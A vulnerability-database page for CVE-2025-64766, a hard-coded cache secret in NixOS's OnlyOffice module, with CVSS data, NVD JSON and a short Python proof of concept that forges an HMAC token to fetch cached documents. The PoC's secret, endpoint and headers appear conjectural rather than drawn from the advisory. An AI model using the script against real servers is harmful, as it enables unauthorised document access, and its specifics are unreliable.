Security Vulnerability Report
中文
CVE-2025-64766 CVSS 5.3 MEDIUM

CVE-2025-64766

Published: 2025-11-17 22:15:49
Last Modified: 2026-04-15 00:35:42

Description

NixOS's Onlyoffice is a software suite that offers online and offline tools for document editing, collaboration, and management. In versions from 22.11 to before 25.05 and versions before Unstable 25.11, a hard-coded secret was used in the NixOS module for the OnlyOffice document server to protect its file cache. An attacker with knowledge of an existing revision ID could use this secret to obtain a document. In practice, an arbitrary revision ID should be hard to obtain. The primary impact is likely the access to known documents from users with expired access. This issue was resolved in NixOS unstable version 25.11 and version 25.05.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

NixOS 22.11 至 25.05
NixOS Unstable < 25.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64766 PoC - NixOS OnlyOffice Hard-coded Secret Exploitation # This PoC demonstrates the concept of exploiting hard-coded secret in OnlyOffice cache import hashlib import hmac import base64 import requests import json # Hard-coded secret from affected NixOS OnlyOffice versions (from nixpkgs commits) HARDCODED_SECRET = "onlyoffice-cache-secret-key" TARGET_URL = "http://target-onlyoffice-server/cache" REVISION_ID = "example-revision-id-12345" # Attacker needs to obtain this def generate_cache_token(revision_id, secret): """Generate cache access token using the hard-coded secret""" message = f"cache:{revision_id}" signature = hmac.new( secret.encode(), message.encode(), hashlib.sha256 ).digest() token = base64.b64encode(signature).decode() return token def exploit_cache(revision_id): """Attempt to access cached document using hard-coded secret""" token = generate_cache_token(revision_id, HARDCODED_SECRET) headers = { "X-Cache-Token": token, "X-Revision-ID": revision_id } try: response = requests.get( f"{TARGET_URL}/documents/{revision_id}", headers=headers, timeout=10 ) if response.status_code == 200: print(f"[+] Successfully accessed document with revision: {revision_id}") print(f"[+] Document content preview: {response.text[:200]}...") return True else: print(f"[-] Failed to access document. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-64766 PoC - NixOS OnlyOffice Hard-coded Secret") print("=" * 60) print(f"Target: {TARGET_URL}") print(f"Revision ID: {REVISION_ID}") print("=" * 60) exploit_cache(REVISION_ID)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64766", "sourceIdentifier": "[email protected]", "published": "2025-11-17T22:15:48.993", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NixOS's Onlyoffice is a software suite that offers online and offline tools for document editing, collaboration, and management. In versions from 22.11 to before 25.05 and versions before Unstable 25.11, a hard-coded secret was used in the NixOS module for the OnlyOffice document server to protect its file cache. An attacker with knowledge of an existing revision ID could use this secret to obtain a document. In practice, an arbitrary revision ID should be hard to obtain. The primary impact is likely the access to known documents from users with expired access. This issue was resolved in NixOS unstable version 25.11 and version 25.05."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://github.com/NixOS/nixpkgs/commit/8e74d05e3de4ee5ad320cd585a7e0f12a4730869", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/commit/cec38dec00df26a901eb8b424d53bbb3bcc72eec", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/462100", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/462204", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/security/advisories/GHSA-58m4-5wg3-5g5v", "source": "[email protected]"}]}}